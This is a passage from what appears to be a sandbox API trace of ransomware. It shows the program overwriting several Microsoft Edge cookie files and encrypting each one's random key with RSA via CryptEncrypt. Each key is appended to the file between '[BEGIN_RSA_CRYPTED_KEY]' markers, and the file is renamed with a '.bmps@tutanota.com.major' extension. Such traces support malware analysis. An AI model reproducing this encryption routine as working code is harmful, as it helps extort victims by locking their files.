lpBuffer=0x5a10c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x71, lpOverlapped=0x0) returned 1 [0300.531] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x71 [0300.531] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.531] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.531] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.531] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.531] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.531] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="BdhHs2jdINdbwAB8rOzNQdL853uivRffjJiFNlq7RoyODUgwrihTXtnQsuSb13Ky\nB/AZoibultKyGJC/S8mi5eh+O0zZ/j1NPfuyu5qunuYGGTi4oRjnWydMXSnnutBT\nrw1ZG+0EXgPFCzf+Eihk0cOZN0uxZxev5+nAIvfoxgw2cVPl9OviTBZouZVTCNrO\nT6k6msbsnHB5YIlptAYivioTWa3J2ohMXN6ogiYbvR1/li2IiG+WqXib2rCYSmxk\n1sswyzKgbQZ30QxElb2XSskqv5G71WzeqnSpqRovgGBqlGQuRYsc8wDgxGnJbvmp\nJXgsv5AdVUcLkrXlJQVRFQ==\n", pcchString=0x2e3f9a8) returned 1 [0300.531] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.532] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.532] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.532] CloseHandle (hObject=0x1b90) returned 1 [0300.532] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\51EI2ZMG.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\51ei2zmg.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\51EI2ZMG.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\51ei2zmg.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.534] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.535] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\38ZHXQ6A.cookie", dwFileAttributes=0x80) returned 1 [0300.535] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\38ZHXQ6A.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\38zhxq6a.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.536] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=111) returned 1 [0300.536] ReadFile (in: hFile=0x1b90, lpBuffer=0x2f3e700, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e700*, lpNumberOfBytesRead=0x2e3f9b4*=0x6f, lpOverlapped=0x0) returned 1 [0300.537] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.537] WriteFile (in: hFile=0x1b90, lpBuffer=0x2f3e610*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e610*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6f, lpOverlapped=0x0) returned 1 [0300.538] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6f [0300.538] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.538] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.538] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.538] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.538] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.538] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="o5j0f2wJRHkwmRC4rnYoHBtBqRS/TXZDVaOIj2prem4FOHv2enta3Tv60cnxExZS\nsOVoE7n3fD+AswPEvWyD4GB8s8ZnkwiiYxk47FlQr74aVBGFztIami+U86bzPn4F\naZHwrA3DxiGHUXFgOvnOqo7DZXGCDpATVkiGNxEY2MHdFcXL6QHxLcCXbpjh7vxa\nBzDy+VJPGymrckXXXbYNjGCg9d2agZI1wo19t+fdtXG32K8NhbG5dCLCcye5yqyG\njf5mHSGmdsbBz/Sr9kTOLrNR/+KW2VWbv8FbdhXV4EuU4c/q69uj2zDaq/D3nW3b\n8aE5Q/EMGInFOuFSp6qUdw==\n", pcchString=0x2e3f9a8) returned 1 [0300.538] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.539] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.539] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.539] CloseHandle (hObject=0x1b90) returned 1 [0300.539] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\38ZHXQ6A.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\38zhxq6a.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\38ZHXQ6A.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\38zhxq6a.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.541] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.541] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1W27MN6L.cookie", dwFileAttributes=0x80) returned 1 [0300.542] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1W27MN6L.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\1w27mn6l.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.543] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=822) returned 1 [0300.543] ReadFile (in: hFile=0x1b90, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x336, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x336, lpOverlapped=0x0) returned 1 [0300.545] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.545] WriteFile (in: hFile=0x1b90, lpBuffer=0x66e948*, nNumberOfBytesToWrite=0x336, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesWritten=0x2e3f9b4*=0x336, lpOverlapped=0x0) returned 1 [0300.545] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x336 [0300.545] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.545] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.545] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.545] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.545] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.546] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oMV8qt6U5ty2f2esn4tyhbi+4pOqXAygro+N4j5Bom2uWgwXEmO7m9EkrOVsfQnQ\nes4BZFb+b78TpKYi8Z0jHOwsAXCMbOWTrioheiBi8n2/nnC0h5O9f2fUHtJ8ZDAf\nqDjQY80w99uyljaU1kkFmWm2Ma0dnBo/ZiGcNpQnwpEIsaxzFjs5RXKOgNeC97cV\nctv2wVq1uyOO2e1avIoW4lJ1frZNgzsocnVo5alEzm6KrKHLxqcMz/chtXhyCCrZ\nm4ONSZZBRWjkzEcUFIbRZWOYK8Sm3pww1NNa1hDy99UkUo6RxsXQYj2kkI9a3zNu\nNiWZnrNuICJDC7++xzQasw==\n", pcchString=0x2e3f9a8) returned 1 [0300.546] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.546] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.546] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.546] CloseHandle (hObject=0x1b90) returned 1 [0300.546] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1W27MN6L.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\1w27mn6l.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1W27MN6L.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\1w27mn6l.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.548] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.549] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\0926U4V3.cookie", dwFileAttributes=0x80) returned 1 [0300.549] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\0926U4V3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\0926u4v3.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.550] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=289) returned 1 [0300.550] ReadFile (in: hFile=0x1b90, lpBuffer=0x5bd3b8, nNumberOfBytesToRead=0x121, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x121, lpOverlapped=0x0) returned 1 [0300.551] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-289, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.551] WriteFile (in: hFile=0x1b90, lpBuffer=0x5b3b90*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b3b90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x121, lpOverlapped=0x0) returned 1 [0300.551] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x121 [0300.551] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.551] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.551] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.551] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.551] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.551] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="yPvOhFG6dJMA7+vknh9xUlpN5s6738oHfJM55H7M2LX/S1tcm9uKz6aQN2qUOMCy\nquEu/+iugTg1+jaB0qL1/nFpS8RoA8xXJbalmo6cevv4w5FjY1T9RhknA+DIIsQd\nLCX2li7FrFLJ6b/hdpm3vkW/nEKyE3KCcfuH9I9wkPzNfZ9+59vf7t36qr71IBrJ\nD6MXg6D++qjlQ8C4X6jydV0tChnG6Au567NS9YHSQsBLF8/LouQm1Ivju0ebRGyb\ny20HOPAaksOW8vguqPdZTOPQtixW/ai+ZzOOW62lJXQraMNjj7o8H9VtQfx9opp/\nbEuSJQh9ZAuUgPfrs6hIcg==\n", pcchString=0x2e3f9a8) returned 1 [0300.551] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.552] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.552] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.552] CloseHandle (hObject=0x1b90) returned 1 [0300.552] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\0926U4V3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\0926u4v3.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\0926U4V3.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\0926u4v3.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.557] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.557] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\069178ZX.cookie", dwFileAttributes=0x80) returned 1 [0300.557] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\069178ZX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\069178zx.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.558] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=90) returned 1 [0300.558] ReadFile (in: hFile=0x1b90, lpBuffer=0x5c7da0, nNumberOfBytesToRead=0x5a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7da0*, lpNumberOfBytesRead=0x2e3f9b4*=0x5a, lpOverlapped=0x0) returned 1 [0300.559] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-90, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.559] WriteFile (in: hFile=0x1b90, lpBuffer=0x5c7e08*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c7e08*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5a, lpOverlapped=0x0) returned 1 [0300.559] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5a [0300.559] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.559] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.559] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.559] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.560] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.560] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Up2PRVBO9SZ3kZH5QyAX27L+eO9xKfPn7UY+MwOilySvXGIJ0O6WTHAAGj8/zW/i\n/cHqUAkI6Bqj9LludfvN3mHuhiIPVSWqtQ0jnwBOgrM2O5Iy+Irov82qhDTFyoPg\n1lkgMBswfTYi4vBGnarvixe+Ddp6Vu9vVR1QMA35hccLOV+ZD7ThISOhW8fSyTBp\nINuqkkWPargJiMRC/E8ObDB0Sw4FxyOcjc/9vqM1QcmRNmWRo0fjieqA0jyMiUMS\nfb9sAvVeO85H3XlFDEfFueM69xUmUMUw5zVVc0eBGHuls2+emDISb5XEtqqpf4Gd\nn8zUNIEy+fQO6cImTfE/Wg==\n", pcchString=0x2e3f9a8) returned 1 [0300.560] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.560] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.560] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.560] CloseHandle (hObject=0x1b90) returned 1 [0300.560] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\069178ZX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\069178zx.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\069178ZX.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\069178zx.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.562] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.562] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\03I3HWP3.cookie", dwFileAttributes=0x80) returned 1 [0300.563] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\03I3HWP3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\03i3hwp3.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.563] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=106) returned 1 [0300.564] ReadFile (in: hFile=0x1b90, lpBuffer=0x2f3e1d8, nNumberOfBytesToRead=0x6a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e1d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x6a, lpOverlapped=0x0) returned 1 [0300.564] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.565] WriteFile (in: hFile=0x1b90, lpBuffer=0x2f3e610*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e610*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6a, lpOverlapped=0x0) returned 1 [0300.565] SetFilePointer 